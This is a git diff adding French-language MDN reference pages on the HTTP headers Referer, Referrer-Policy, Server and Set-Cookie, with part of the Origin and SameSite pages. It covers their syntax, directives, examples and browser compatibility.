https://developer.mozilla.org</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{RFC("6454", "Origin", "7")}}</td> + <td>Le concept de Web Origin</td> + </tr> + <tr> + <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td> + <td>Remplace l’en-tête <code>Origin</code> tel que défini dans la RFC6454.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Origin")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Host")}}</li> + <li>{{HTTPHeader("Referer")}}</li> + <li>La <a href="/fr/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li> +</ul> diff --git a/files/fr/web/http/headers/referer/index.html b/files/fr/web/http/headers/referer/index.html new file mode 100644 index 0000000000..69712b54d9 --- /dev/null +++ b/files/fr/web/http/headers/referer/index.html @@ -0,0 +1,86 @@ +--- +title: Referer +slug: Web/HTTP/Headers/Referer +tags: + - HTTP + - Reference + - header + - referer + - referrer +translation_of: Web/HTTP/Headers/Referer +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de requête <code><strong>Referer</strong></code> contient l'adresse de la page web précédente à partir de laquelle un lien a été suivi pour demander la page courante. L'en-tête <code>Referer</code> permet aux serveurs d'identifier la provenance des visiteurs d'une page et cette information peut être utilisée à des fins d'analyse, de journalisation ou pour améliorer la politique de cache par exemple.</p> + +<div class="warning"> +<p><strong>Important </strong>: Bien que cet en-tête puisse être utilisé à de nombreuses fins légitimes, il peut avoir des effets indésirables sur la sécurité et la vie privée. Voir la page <a href="fr/docs/Web/Security/Referer_header:_privacy_and_security_concerns">Questions de sécurité et de vie privée : quid de l'en-tête <code>referer</code></a> pour plus d'informations et des méthodes d'atténuation.</p> +</div> + +<p>Note : le terme <code>referer</code> est orthographié ainsi bien qu'il s'agisse d'une erreur à partir du mot anglais "<em>referrer</em>". Voir {{interwiki("wikipedia", "HTTP_referer", "L'en-tête <code>referer</code> HTTP sur Wikipédia")}} pour plus de détails.</p> + +<p>Un en-tête <code>Referer</code> n'est pas envoyé par les navigateurs si :</p> + +<ul> + <li>La ressource d'origine est un fichier local ou une URI de données.</li> + <li>Une requête non sécurisée HTTP est utilisée alors que la page référente avait été reçue via un protocole sécurisé (HTTPS).</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("En-tête de requête")}}</td> + </tr> + <tr> + <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> + <td>Oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Referer: <url> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code><url></code></dt> + <dd>Une adresse absolue ou partielle de la page web à partir de laquelle la requête vers la page courante a été émise. Les fragements d'URL (i.e. "#section") et les informations d'utilisateurs (i.e. "username:password" dans "https://username:password@example.com/toto/truc/") ne sont pas incluses.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Referer: https://developer.mozilla.org/fr/docs/Web/JavaScript</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Referer", "5.5.2")}}</td> + <td><em>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</em> (Protocole de transfert hypertext (HTTP/1.1): Sémantique et contenu).</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div> + +<p>{{Compat("http.headers.Referer")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "L'en-tête HTTP <code>referer</code> sur Wikipédia")}}</li> + <li>{{HTTPHeader("Referrer-Policy")}}</li> +</ul> diff --git a/files/fr/web/http/headers/referrer-policy/index.html b/files/fr/web/http/headers/referrer-policy/index.html new file mode 100644 index 0000000000..01c3dd9694 --- /dev/null +++ b/files/fr/web/http/headers/referrer-policy/index.html @@ -0,0 +1,264 @@ +--- +title: Referrer-Policy +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - HTTP + - HTTP Header + - Privacy + - Reference + - Referrer-Policy + - Response + - Response Header + - Réponse + - en-tête + - referrer +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">L'en-tête {{glossary("HTTP header")}} <strong><code>Referrer-Policy</code></strong> contrôle la quantité d'<a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">informations sur le référent (referrer)</a> (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<div class="blockIndicator note"> +<p>Le nom originel de l'en-tête, {{HTTPHeader("Referer")}}, est une faute de frappe du mot anglais "referrer". L'en-tête <code>Referrer-Policy</code> ne comporte pas cette erreur.</p> +</div> + +<pre class="syntaxbox notranslate">Referrer-Policy: no-referrer +Referrer-Policy: no-referrer-when-downgrade +Referrer-Policy: origin +Referrer-Policy: origin-when-cross-origin +Referrer-Policy: same-origin +Referrer-Policy: strict-origin +Referrer-Policy: strict-origin-when-cross-origin +Referrer-Policy: unsafe-url +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>no-referrer</code></dt> + <dd>L'en-tête {{HTTPHeader("Referer")}} sera entièrement omis. Aucune information sur le référent ne sera envoyée avec les requêtes.</dd> + <dt><code>no-referrer-when-downgrade</code> (default)</dt> + <dd>C'est le comportement par défaut si aucune valeur n'est spécifiée ou quelle celle donnée est invalide. L'{{glossary("origin")}}, le {{glossary("path")}}, et la {{glossary("querystring")}} de l'URL sont envoyés comme référent quand le niveau de sécurité du protocole reste le même (HTTP vers HTTP, HTTPS vers HTTPS) ou s'améliore (HTTP vers HTTPS) mais ne sont pas envoyés quand si la destination est moins sécurisée (HTTPS vers HTTP). + <div class="note">Les navigateurs tentent d'adopter une valeur par défaut plus stricte, précisément <code>strict-origin-when-cross-origin</code> (voir <a href="https://github.com/whatwg/fetch/pull/952">https://github.com/whatwg/fetch/pull/952</a>), envisagez d'utiliser cette valeur (ou une autre encore plus stricte) si possible si vous définissez la valeur de Referrer-Policy.</div> + </dd> + <dt><code>origin</code></dt> + <dd>N'envoie que l'{{glossary("origin")}} du document comme référent.<br> + Par exemple, un document à l'adresse <code>https://example.com/page.html</code> enverra le référent <code>https://example.com/</code>.</dd> + <dt><code>origin-when-cross-origin</code></dt> + <dd>Envoie l'origine, le chemin et les paramètres de requête pour les requêtes {{glossary("Same-origin_policy", "same-origin")}} et seulement l'origine du document dans les autres cas.</dd> + <dt><code>same-origin</code></dt> + <dd>Un référent sera envoyé aux <a href="/en-US/docs/Web/Security/Same-origin_policy">page de même origine</a>, mais des requêtes vers des adresses externes n'enverront aucune information sur le référent.</dd> + <dt><code>strict-origin</code></dt> + <dd>N'envoie que l'origine du document comme référent quand le niveau de sécurité du protocole reste le même (HTTPS vers HTTPS) mais n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).</dd> + <dt><code>strict-origin-when-cross-origin</code></dt> + <dd>Envoie l'origine, le chemin et les paramètres de requête pour les requêtes de même origine, n'envoie que l'origine quand le niveau de sécurité du protocole reste le même pour les requêtes vers des adresses externes (HTTPS vers HTTPS) et n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).</dd> + <dt><code>unsafe-url</code></dt> + <dd>Envoie l'origine, le chemin et les paramètres de requête pour toutes les requêtes sans tenir compte du niveau de sécurité. + <div class="blockIndicator warning"> + <p>Cette valeur divulgera des informations potentiellement confidentielles de la part des URL de ressources HTTPS vers des origines non sécurisées. Considérez les conséquences de ce paramétrage avant de vous en servir.</p> + </div> + </dd> +</dl> + +<h2 id="Intégration_avec_HTML">Intégration avec HTML</h2> + +<p>Vous pouvez aussi définir des règles de référent au sein d'HTML. Par exemple, vous pouvez définir la règle de référent pour le document entier avec un élément {{HTMLElement("meta")}} dont le <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">name</a> est <code>referrer</code> :</p> + +<pre class="brush: html notranslate"><meta name="referrer" content="origin"></pre> + +<p>Ou le définit pour des requêtes spécifiques avec l'attribut <code>referrerpolicy</code> sur les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}}, ou {{HTMLElement("link")}} :</p> + +<pre class="brush: html notranslate"><a href="http://example.com" referrerpolicy="origin"></pre> + +<p>Autrement, une <a href="/en-US/docs/Web/HTML/Link_types">relation de lien</a> définie à <code>noreferrer</code> sur un élément <code>a</code>, <code>area</code>, ou <code>link</code> peut être défini :</p> + +<pre class="brush: html notranslate"><a href="http://example.com" rel="noreferrer"></pre> + +<div class="blockIndicator warning"> +<p>Comme vu précédemment, la relation de lien <code>noreferrer</code> s'écrit sans trait d'union. Toutefois, quand la règle de référent est spécifiée pour le document entier avec un élément {{HTMLElement("meta")}}, il faut mettre le trait d'union : <code><meta name="referrer" content="no-referrer"></code>.</p> +</div> + +<h2 id="Intégration_avec_CSS">Intégration avec CSS</h2> + +<p>CSS peut demander des ressources référencées dans des feuilles de styles. Ces ressources suivent une règle de référent aussi :</p> + +<ul> + <li>Les feuilles de styles CSS externes utilisant la règle par défaut (<code>no-referrer-when-downgrade</code>), moins qu'elle soit remplacée un l'en-tête HTTP <code>Referrer-Policy</code> dans la réponse de la feuille de styles CSS.</li> + <li>Pour les éléments {{HTMLElement("style")}} ou <a href="/en-US/docs/Web/API/HTMLElement/style">attributs <code>style</code></a>, la règle de référent du propriétaire du document est utilisée.</li> +</ul> + +<h2 id="Exemples">Exemples</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Règle</th> + <th scope="col">Document</th> + <th scope="col">Navigation vers</th> + <th scope="col">Référent</th> + </tr> + </thead> + <tbody> + <tr> + <th><code>no-referrer</code></th> + <td>https://example.com/page</td> + <td><em>n'importe où</em></td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th rowspan="3"><code>no-referrer-when-downgrade</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th><code>origin</code></th> + <td>https://example.com/page</td> + <td><em>n'importe où</em></td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="2"><code>same-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td><em>n'importe où</em></td> + <td>http://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(pas de référent)</em></td> + </tr> + <tr> + <th><code>unsafe-url</code></th> + <td>https://example.com/page?q=123</td> + <td><em>n'importe où</em></td> + <td>https://example.com/page?q=123</td> + </tr> + </tbody> +</table> + +<h3 id="Spécifier_une_règle_par_défaut">Spécifier une règle par défaut</h3> + +<p>Si vous voulez spécifier une règle à appliquer par défaut dans les où la règle voulue n'est pas supportée par les navigateurs, utilisez un liste de valeurs séparées par des virgules avec la règle voulue fournie en dernière position :</p> + +<pre class="notranslate">Referrer-Policy: no-referrer, strict-origin-when-cross-origin</pre> + +<p>Ici, <code>no-referrer</code> ne sera utilisée que si <code>strict-origin-when-cross-origin</code> n'est pas supportée par le navigateur.</p> + +<p class="note">Spécifier plusieurs valeurs n'est supporté que dans l'en-tête HTTP <code>Referrer-Policy</code> et non dans l'attribut <code>referrerpolicy</code>.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Referrer Policy </a></td> + <td>Brouillon de l'éditeur.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("http.headers.Referrer-Policy")}}</p> + +<div class="note"> +<ul> + <li>Version 53 et plus, Gecko offre la possibilité aux utilisateurs de définir leur valeur par défaut de <code>Referrer-Policy</code> dans <code>about:config</code>, l'option s'appelant <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li> + <li>Version 59 et plus (Voir <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">#587523</a>), il a été remplacé par <code>network.http.referer.defaultPolicy</code> et <code>network.http.referer.defaultPolicy.pbmode</code>.</li> +</ul> + +<p>Les valeurs permises sont :</p> + +<ul> + <li>0 — <code>no-referrer</code></li> + <li>1 — <code>same-origin</code></li> + <li>2 — <code>strict-origin-when-cross-origin</code></li> + <li>3 — <code>no-referrer-when-downgrade</code> (par défaut)</li> +</ul> +</div> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> + <li>En utilisant <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> : {{domxref("Request.referrerPolicy")}}</li> + <li>La directive obsolète {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}} de l'en-tête <span style="white-space: nowrap;">{{HTTPHeader("Content-Security-Policy")}}</span>.</li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li> + <li> + <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p> + </li> +</ul> diff --git a/files/fr/web/http/headers/serveur/index.html b/files/fr/web/http/headers/serveur/index.html new file mode 100644 index 0000000000..d5712fc7ac --- /dev/null +++ b/files/fr/web/http/headers/serveur/index.html @@ -0,0 +1,72 @@ +--- +title: Serveur +slug: Web/HTTP/Headers/Serveur +tags: + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Server +--- +<div>{{ HTTPSidebar }}</div> + +<div> </div> + +<p>Le paramètre d'entête <code><strong>Server</strong></code> contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête.</p> + +<p><span id="result_box" lang="fr"><span>Il est préférable d'éviter les valeurs</span></span><span lang="fr"><span> excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité.</span></span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Server: <valeur> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><valeur></dt> + <dd><span id="result_box" lang="fr"><span>Le nom du système (ou sous-système) qui gère les requêtes.</span></span></dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<pre>Server: Apache/2.4.1 (Unix)</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Server", "7.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Navigateurs_compatibles">Navigateurs compatibles</h2> + +<p class="hidden"><span id="result_box" lang="fr"><span>La table de compatibilité de cette page est générée à partir de données structurées.</span> <span>Si vous souhaitez partager des données, consultez https://github.com/mdn/browser-compat-data et envoyez-nous une demande.</span></span></p> + +<p>{{Compat("http.headers.Server")}}</p> + +<h2 id="Voir_également"><span class="short_text" id="result_box" lang="fr"><span>Voir également</span></span></h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/fr/web/http/headers/set-cookie/index.html b/files/fr/web/http/headers/set-cookie/index.html new file mode 100644 index 0000000000..fa24cfedf4 --- /dev/null +++ b/files/fr/web/http/headers/set-cookie/index.html @@ -0,0 +1,200 @@ +--- +title: Set-Cookie +slug: Web/HTTP/Headers/Set-Cookie +tags: + - Cookies + - HTTP + - Reference + - Response + - TopicStub + - header + - samesite +translation_of: Web/HTTP/Headers/Set-Cookie +--- +<p><span class="seoSummary">L'entête de réponse HTTP <strong><code>Set-Cookie</code></strong> est utilisé pour envoyer un cookie depuis le serveur à l'agent utilisateur pour qu'il puisse le renvoyer dans l'avenir.</span></p> + +<p>Pour plus d'information, voir le <a href="/fr/docs/Web/HTTP/Cookies">guide sur les cookies HTTP</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type de l'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Set-Cookie: <cookie-name>=<cookie-value> +Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> +Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> +Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> +Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> +Set-Cookie: <cookie-name>=<cookie-value>; Secure +Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly + +Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict +Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax +Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None + +// Plusieurs directives sont aussi pussibles, par exemple: +Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly +</pre> + +<h2 id="Attributs">Attributs</h2> + +<dl> + <dt><code><cookie-name>=<cookie-value></code></dt> + <dd>Un cookie commence avec la paire nom-valeur: + <ul> + <li>Un <code><cookie-name></code> peut-être de n'importe que caractères US-ASCII, à part les caractères de contrôle, d'espace, de tabulation et les caractères de séparation: <code>( ) < > @ , ; : \ " / [ ] ? = { }</code>.</li> + <li>Un <code><cookie-value></code> peut éventuellement être entouré de doubles guillemets et inclut tout les caractères US-ASCII sauf les caractères de contrôle, {{glossary("Whitespace")}}, doubles guillemets, virgule, point-virgule et antislash. <strong>Encodage</strong>: plusieurs implémentations font un codage d'URL, cependant ce n'est pas obligatoire par la spécification RCF même si cela peut aider pour avoir des caractères permis.</li> + <li><strong><code>__Secure-</code> préfixe</strong> {{non-standard_inline}}: Les cookies commençant par <code>__Secure-</code> (le tiret fait partit du préfixe) doivent être définit avec le drapeau <code>secure</code> depuis une page sécurisée (HTTPS).</li> + <li><strong><code>__Host-</code> préfixe</strong> {{non-standard_inline}}: Les cookies commençant par <code>__Host-</code> doivent être définit avec le drapeau <code>secure</code>, depuis une page sécurisée (HTTPS), ne doivent pas avoir de domaine spécifié (et donc pas envoyé à un sous-domaine) et le chemin doit être <code>/</code>.</li> + </ul> + </dd> + <dt><code>Expires=<date></code> {{optional_inline}}</dt> + <dd> + <p>Le temps de vie maximal d'un cookie sous la forme d'une Date HTTP. Voir {{HTTPHeader("Date")}} pour le format requis.</p> + + <p>Si non spécifié, le cookie devient un <strong>cookie de session</strong>. Une session finit quand le client s'arrête et les cookies de sessions seront supprimés.</p> + + <div class="blockIndicator warning"> + <p><strong>Attention:</strong> Plusieurs navigateurs ont un système de récupération de session qui enregistre les onglets et les restaure quand le navigateur redémarre. Les cookies de session seront aussi restaurés comme si le navigateur ne s'était jamais arrêté.</p> + </div> + + <p>Quand la date expire, la date limite est relative au <em>client</em> qui le supprime, pas le serveur.</p> + </dd> + <dt><code>Max-Age=<number> </code>{{optional_inline}}</dt> + <dd>Le nombre de secondes avant son expiration. Une valeur nulle ou négative fera expirer immédiatement le cookie. Si il y a <code>Expires</code> et <code>Max-Age</code> configuré, <code>Max-Age</code> sera prioritaire.</dd> + <dt><code>Domain=<domain-value></code> {{optional_inline}}</dt> + <dd>Le domaine où le cookie sera envoyé. + <ul> + <li>Si omis, la valeur par défaut sera l'hôte de l'URL du document courant. Les sous domaines ne seront pas inclus.</li> + <li>Contrairement aux anciennes spécifications, le point au début dans les noms de domaines (<code>.example.com</code>) est ignoré.</li> + <li>Plusieurs valeurs de domaine ne sont pas permis. Si un nom de domaine est spécifié, les sous domaines sont toujours inclus.</li> + </ul> + </dd> + <dt><code>Path=<path-value></code> {{optional_inline}}</dt> + <dd>Un chemin doit exister dans l'URL de requête, ou le navigateur ne va pas envoyer d'entête <code>Cookie</code>.</dd> + <dd>La barre oblique (<code>/</code>) est interprétée comme un séparateur de répertoire. Les sous répertoires sont inclus, par exemple: pour <code>Path=/docs</code> les répertoires <code>/docs</code>, <code>/docs/Web/</code> et <code>/docs/Web/HTTP</code> sont concernés.</dd> + <dt id="Secure"><code>Secure</code> {{optional_inline}}</dt> + <dd>Un cookie sécurisé est envoyé uniquement si la requête est fait en <code>https:</code>. Cependant des informations confidentielles ne devraient jamais être enregistrées dans un cookie classique, en effet le mécanique est non sécurisé et ne chiffre aucune information. + <p class="note"><strong>Note:</strong> Les sites non sécurisés (<code>http:</code>) ne peuvent plus définir des cookie «Secure» désormais (depuis Chrome 52+ et Firefox 52+).</p> + </dd> + <dt id="HttpOnly"><code>HttpOnly</code> {{optional_inline}}</dt> + <dd>Empêche JavaScript d'accéder au cookie; par exemple, au travers de la propriété {{domxref("Document.cookie")}}, de l'API {{domxref("XMLHttpRequest")}} ou de l'API {{domxref("Request")}}. Cela protège des attaques <em>cross-site scripting</em> ({{Glossary("XSS")}}).</dd> + <dt id="SameSite"><code>SameSite=<samesite-value></code> {{optional_inline}}</dt> + <dd> + <ul> + <li><code>Strict</code>: Le navigateur envoie le cookie uniquement pour les requêtes sur le même site (c'est à dire, les requêtes où le cookie a été défini). Si la requête vient d'une autre URL que celle courante, aucun cookie avec d'attribut <code>SameSite=Strict</code> n'est envoyé.</li> + <li><code>Lax</code>: Le cookie n'est pas envoyé pour des requêtes <strong>croos-site</strong>, comme le chargement d'image ou de cadre, mais est envoyé quand un utilisateur va sur une autre site, comme lorsqu’il suit un lien.</li> + <li><code>None</code>: Le navigateur envoie le cookie à la fois pour les requêtes cross-site et same-site.</li> + </ul> + + <p>S'assurer qu'un cookie ne peut pas être envoyé avec des requêtes cross-origin empêche une partie des attaques <em>Cross-Site Request Forgery</em> ({{Glossary("CSRF")}}).</p> + + <p class="note">Les navigateurs sont en migration pour que par défaut <a href="https://www.chromestatus.com/feature/5088147346030592"><code>(en) SameSite=Lax</code></a>. Si un cookie est doit être envoyé en cross-site, définissez explicitement la valeur <strong>None</strong>. Cette valeur nécessite l’attribut <a href="#Secure">Secure</a>.</p> + </dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cookie_de_session">Cookie de session</h3> + +<p><strong>Les cookies de session</strong> sont supprimés quand le client s'éteint. Les cookies sont des cookies de session s'ils n'ont pas de directive <code>Expires</code> ou <code>Max-Age.</code></p> + +<pre class="notranslate">Set-Cookie: sessionId=38afes7a8</pre> + +<h3 id="Cookie_permanent">Cookie permanent</h3> + +<p>Au lien d'expirer quand le client s'éteint, le <strong>cookies permanent</strong> expirent à une date spécifique (<code>Expires</code>) ou après une valeur de temps (<code>Max-Age</code>).</p> + +<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<pre class="notranslate">Set-Cookie: id=a3fWa; Max-Age=2592000</pre> + +<h3 id="Domaines_invalides">Domaines invalides</h3> + +<p>Un cookie pour un domaine qui n'inclut pas le serveur qui le défini doit être <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">(en) rejeté par l'agent utilisateur</a>.</p> + +<p>Le cookie suivant sera rejeté si le serveur est hébergé sur <code>originalcompany.com</code>:</p> + +<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk</pre> + +<p>Un cookie pour un sous-domaine du domaine servi sera rejeté.</p> + +<p>Le cookie suivant sera rejeté si le serveur est hébergé sur <code>example.com</code>:</p> + +<pre class="notranslate">Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com</pre> + +<h3 id="Préfixes_de_cookie">Préfixes de cookie</h3> + +<p>Les cookies préfixés par <code>__Secure-</code> ou <code>__Host-</code> peuvent être utilisés seulement s'ils sont définits avec l'attribut <code>secure</code> depuis une origine sécurisée (HTTPS).</p> + +<p>De plus, les cookies avec le préfixe <code>__Host-</code> doivent avoir doivent avoir un <code>path</code> valant <code>/</code> (donc tout les chemins de l'hôte) et ne doit pas avoir d'attribut <code>Domain</code>.</p> + +<div class="blockIndicator warning"> +<p>Pour les clients qui n'implémentent pas les préfixes aux cookies, vous ne pouvez pas compter sur ses assurances, les cookies avec un préfixe seront toujours acceptés.</p> +</div> + +<pre class="notranslate">// Les deux sont acceptés s'ils viennent d'une origine sécurisée (HTTPS) +Set-Cookie: __Secure-ID=123; Secure; Domain=example.com +Set-Cookie: __Host-ID=123; Secure; Path=/ + +// Rejeté car l'attribut Secure est manquant +Set-Cookie: __Secure-id=1 + +// Rejeté car l'attribut Path=/ est manquant +Set-Cookie: __Host-id=1; Secure + +// Rejeté à cause du domaine qui est spécifié +Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td> + <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie", 5)}}</p> + +<h2 id="Note_de_compatibilité">Note de compatibilité</h2> + +<ul> + <li>À partir de Chrome 52 et Firefox 52, les sites non sécurisés (<code>http:</code>) ne peuvent plus définir des cookies avec la directive <code>Secure</code>.</li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Cookies">Cookies HTTP</a>;</li> + <li>{{HTTPHeader("Cookie")}};</li> + <li>{{domxref("Document.cookie")}}.</li> +</ul> diff --git a/files/fr/web/http/headers/set-cookie/samesite/index.html b/files/fr/web/http/headers/set-cookie/samesite/index.html new file mode 100644 index 0000000000..85890c50df --- /dev/null +++ b/files/fr/web/http/headers/set-cookie/samesite/index.html @@ -0,0 +1,119 @@ +--- +title: SameSite cookies +slug: Web/HTTP/Headers/Set-Cookie/SameSite +tags: + - Cookies + - HTTP + - Reference + - samesite +translation_of: Web/HTTP/Headers/Set-Cookie/SameSite +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">L'attribut <strong><code>SameSite</code></strong> de l'en-tête de réponse HTTP {{HTTPHeader("Set-Cookie")}} vous permet de déclarer si vos cookies doivent être restreints au site visité, à des tiers, ou à des sous-domaines du site actuel. </span></p> + +<h2 